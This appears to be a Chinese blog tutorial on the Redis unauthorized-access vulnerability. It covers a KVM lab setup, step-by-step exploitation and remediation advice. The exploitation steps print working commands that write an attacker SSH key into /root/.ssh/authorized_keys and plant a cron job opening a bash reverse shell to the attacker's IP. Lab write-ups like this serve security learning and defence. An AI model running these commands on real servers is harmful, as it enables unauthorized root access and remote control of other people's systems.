文章目录
redis是什么
redis是完全开源的,遵守BSD开源协议的,高性能的key-value数据库。
BSD协议:是一种开源协议,给予了源代码使用者很大的自由,允许自由的使用,修改源代码,并将修改后的代码作为开源或者专有软件再发布,但是需要遵守一定的原则:
(1)若再发布的产品中包含源代码,则在源代码中必须带有原来代码中的BSD协议
(2)若发布的只是二进制类库/软件,则需要在类库/软件的文档和版权声明中包含原来代码中的BSD协议
(3)不可以用开源代码的作者/机构名字和原来产品的名字做市场推广
也就是说,BSD协议是针对开源应用的一个约定熟成的规定,我们可以很自由得使用开源应用包括源代码在内的相关内容,但是也需要尊重代码作者的著作权,因此需要在使用的时候需要遵守一定的原则。
key-value数据库:是一种非关系数据库,使用简单的键值方法来存储数据,将数据存储为键值对集合,其中键作为唯一标识符,并且键和值都可以是从简单对象到复杂对象的任何内容。键值数据库是高度可分区的,允许以其他类型的数据库无法实现的规模进行水平扩展。
redis未授权漏洞原理
- redis默认绑定0.0.0.0:6379端口,并且没有添加防火墙规则或其他相关安全策略,redis服务直接暴露在公网,导致任意用户未授权访问redis服务
- redis默认密码认证为空,导致任意用户未授权登录redis服务,对数据进行修改
redis未授权漏洞危害
- 攻击者未授权访问redis服务并登录读取信息导致敏感信息泄露
- 攻击者未授权访问redis服务并登录写入后门程序
- 当redis以root身份运行时,攻击者未授权访问redis服务并登录写入攻击者生成的ssh公钥文件,进而攻击者可以使用对应的私钥通过ssh直接登录受害者服务器
ssh登录原理:
(1)口令验证:既账号密码登录
(2)密钥验证:既基于公钥密码的认证方式,公钥和私钥成对唯一匹配,使用公钥加密后只能用与之匹配的私钥进行解密,反之亦然
redis密钥验证登录流程如上图所示
(1)客户端生成公私钥对并将公钥信息拷贝给服务器
(2)客户端向服务器发起公钥认证请求并附带自己的相关信息
(3)服务端根据客户端相关信息检索是否存在与之匹配的公钥,没有则拒绝登录;有则使用该公钥对一个随机的256位的字符串进行加密并发送给客户端
(4)客户端使用私钥进行解密得到字符串并生成字符串的一个md5值发给服务端
(5)服务端对本地字符串以同样加密算法生成md5值并与客户端发来的md5值进行对比,一样则允许登录,不一样则拒绝登录
(6)随后双方进行加密通信
redis未授权漏洞影响版本
redis 2.x, 3.x, 4.x, 5.x
redis未授权漏洞靶场搭建
这里以kali作为攻击机,centos7作为靶机,我们使用kvm虚拟机来搭建靶机环境
- 我们使用kvm虚拟化技术来搭建靶机,关于kvm虚拟化技术的介绍可以参考这篇文章,根据文章中搭建桥接模式KVM虚拟机的步骤搭建好centos7的KVM虚拟机,由于使用的是centos7的minimal版本镜像,因此安装过程只能选择最小化安装,安装完成后使用vnc连接进入centos7的KVM虚拟机界面
- 由于是最小化安装,很多东西都需要我们重新下载安装,执行以下命令安装后续操作步骤所需要的工具
yum update -- 更新yum源
yum install wget -- 安装wget工具
cd /etc/yum.repos.d/ -- cd到yum源所在的目录
cp /CentOS-Base.repo /CentOS-Base-repo.bak -- 备份当前yum源
wget http://mirrors.aliyun.com/repo/Centos-7.repo -- 使用wget下载阿里云yum源
yum clean all -- 清除旧包
mv Centos-7.repo CentOS-Base.repo -- 把下载下来的阿里云repo文件设置成为默认源
yum makecache -- 生成阿里云yum源缓存
yum update -- 更新yum源
yum install gcc -- 安装gcc工具
yum install vim -- 安装vim工具
yum install net-tools -- 安装net-tools工具,使用ifconfig命令
- 执行以下命令安装redis
cd /home -- cd到主目录下
wget http://download.redis.io/releases/redis-3.2.11.tar.gz -- 从官网下载redis源码压缩包
tar -zxf redis-3.2.11.tar.gz -- 在当前目录下解压缩redis压缩包
cd redis-3.2.11
make -- 编译执行
- 执行以下命令配置redis
cd src
# 将redis-server和redis-cli拷贝到/usr/bin目录,以后可以直接使用redis-server和redis-cli命令而不需要进入到redis的安装目录
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd .. -- 返回redis安装包根目录
cp redis.conf /etc
vim /etc/redis.conf -- 对redis.conf文件做如下修改
- 执行以下命令启用ssh服务
systemctl start sshd -- 启用ssh服务
systemctl enable sshd -- 设置ssh服务开机自启
systemctl status sshd -- 查看ssh服务的状态
- 在kali攻击机上同样按照上述步骤安装redis服务并开启ssh服务
# kali上默认装有ssh服务,但是需要进行配置修改
vim /etc/ssh/sshd_config -- 修改ssh服务的配置文件
将#PasswordAuthentication no的注释去掉,并且将NO修改为YES
将#PermitRootLogin without-password的注释去掉,并修改为PermitRootLogin yes
service ssh start -- 启用ssh服务
service ssh status -- 查看ssh服务状态
update-rc.d ssh enable -- 设置ssh服务开机自启
- 测试网络连接情况,攻击机和靶机相互能ping通
- 靶机开启redis服务,攻击机尝试使用redis客户端免密登录靶机redis服务器,报错如下
# 靶机使用修改后的配置文件开启redis服务
redis-server /etc/redis.conf
# 攻击机使用redis客户端登录靶机redis
redis-cli -h 192.168.204.142 -- 报错
# 查看靶机防火墙状态
systemctl status firewalld -- 发现为active状态
# 关闭靶机防火墙
systemctl stop firewalld.service
# 再次查看靶机防火墙状态
systemctl status firewalld -- 发现为inactive状态
# 重新使用修改后的配置文件开启靶机redis服务
redis-server /etc/redis.conf
# 攻击机使用redis客户端登录靶机redis
redis-cli -h 192.168.204.142 -- 成功登录
redis未授权漏洞利用姿势
利用原理:
漏洞利用的不同姿势的原理都是类似的,都是通过修改靶机redis的备份路径为目标路径,修改靶机redis的备份文件名为目标文件名,通过向靶机redis缓冲区中以键值对的方式写入目标内容,再保存,即可将目标内容以目标文件名的形式写入到目标路径,具体可以参考ssh公钥登录的具体步骤进行体会
利用redis未授权访问登录写入webshell接管站点
利用条件:
- 目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等)
- 需要具有读写增删改查权限
由于本机并没有web服务器因此无法做演示,可看参考文章3、4、5
利用redis未授权访问登录写入SSH公钥实现SSH登录
利用原理:
由于redis是一个键值对数据库,在攻击机未授权登录靶机redis服务后,可以将攻击机的公钥作为value,key值随意,通过修改数据库的默认备份路径为/root/.ssh
,修改默认的缓冲文件名为authorized_keys,把缓冲区的数据保存到备份路径下的authorized_keys文件中,这样就可以把攻击者公钥写入靶机服务器端的/root/.ssh
目录下,而该目录又是ssh默认的存放ssh公钥的位置
利用条件:
- 服务端的redis连接存在未授权,在攻击机上能用redis-cli直接登录连接,并且未登录验证
- 服务端存在.ssh目录并且有写入的权限
利用步骤:
- 执行以下命令在攻击机的
/root/.ssh/
目录下生成一个公钥文件
cd /root/.ssh
ssh-keygen -t rsa -- 连续按三次回车完成公钥生成
- 执行以下命令将生成的公钥导入到key.txt文件中,再把key.txt文件内容写入到服务端redis的缓冲里
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt -- 前后用`\n`换行,避免和redis里其他缓存数据混合,-e参数指定将字符串中的转义字符转换为相应的特殊字符
cat /root/.ssh/key.txt | redis-cli -h 192.168.204.142 -x set pub -- 管道符`|`会将前一个命令的输出作为后一个命令的输入进行执行,-x参数标识从标准输入读取数据作为该命令的最后一个参数,即将公钥写入到靶机redis服务端的pub键对应的value中,此时pub这个键值对是写入到redis服务器的缓冲之中
- 执行以下命令登录靶机的redis服务,修改靶机redis的备份路径为靶机ssh公钥的默认存放目录(一般为
/root/.ssh/
),修改靶机redis保存缓冲数据中的公钥键值对的备份文件名为authorized_keys,将缓冲数据保存到靶机服务器硬盘上,从而成功将攻击机的ssh公钥以authorized_keys文件形式写入靶机ssh公钥的默认存放目录中
redis-cli -h 192.168.204.142
config get dir -- 查看redis服务端当前的备份路径
config set dir /root/.ssh -- 修改redis的备份路径,报错靶机上没有/root/.ssh目录
# ctrl+C -- 关闭靶机redis服务
ssh localhost -- 执行命令输入yes会自动生成/root/.ssh目录
redis-server /etc/redis.conf -- 启动靶机redis服务
config set dir /root/.ssh -- 成功修改redis的备份路径
config set dbfilename authorized_keys -- 修改靶机redis保存缓冲数据中的公钥键值对的备份文件名为authorized_keys
save -- 将缓冲数据保存到靶机服务器硬盘上,即将攻击机的ssh公钥以authorized_keys文件形式写入靶机ssh公钥的默认存放目录中
- 执行以下命令攻击机使用ssh成功连接靶机
ssh 192.168.204.142
在crontab中写入定时任务,反弹shell
利用条件:
只能在centos上使用,无法在ubuntu上使用,因为默认的redis写文件是644权限,但ubuntu执行定时任务文件/var/spool/cron/crontabs/<username>
的权限必须是600,否则报错,而centos在权限644下可以执行定时任务文件/var/spool/cron/<username>
利用步骤:
- 执行以下命令在攻击机监听端口
nc -lnvp 1234
- 执行以下命令连接crontab反弹shell
redis-cli -h 192.168.204.142 -- 连接到靶机redis服务
SET test "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.204.143/1234 0>&1\n\n"
上述代码设置了一个名为test的键,其内容为双引号内的内容;前后两个换行避免和其他redis缓冲数据混合
*/1 * * * *
是cron的表达式,表示每分钟执行一次任务
/bin/bash -i>&/dev/tcp/192.168.26.120/1234 0>&1
表示将’/bin/bash’进程的输入输出重定向到网络套接字192.168.204.143的1234端口,即攻击机的1234端口
config set dir /var/spool/cron -- 修改redis的备份路径
config set dbfilename root -- 修改redis保存缓冲数据的备份文件名
save -- 保存缓冲数据到/var/spool/cron下的root文件中
经过一分钟左右可以收到反弹的shell
redis未授权漏洞修复建议
- redis配置文件绑定IP,限制IP登录
- 修改默认监听端口,更好地隐藏服务
- 开启redis安全认证并设置复杂的密码
- 禁止使用root权限启动
- 修改redis配置文件的访问权限,禁止不相关用户访问配置文件
参考文章
- 什么是 BSD 协议?. 菜鸟教程. Available at here (Accessed: 9 july 2023).
- 什么是键值数据库?. aws. Available at here (Accessed: 9 july 2023).
- Redis未授权访问漏洞复现. 博客园. Available at here (Accessed: 9 july 2023).
- Redis未授权漏洞复现及利用方式总结. 51CTO博客. Available at here (Accessed: 9 july 2023).
- Redis常见漏洞利用方法总结|Redis未授权访问漏洞利用方式. Available at here (Accessed: 20 july 2023).
- CentOS更换yum源配置. 博客园. Available at here. Accessed: 19 July 2023.
- kali 上开启ssh功能. CSDN. Available at here. Accessed: 19 July 2023.
- SSH免密登录以及没有.ssh目录如何办. CSDN. Available at here. Accessed: 20 July 2023.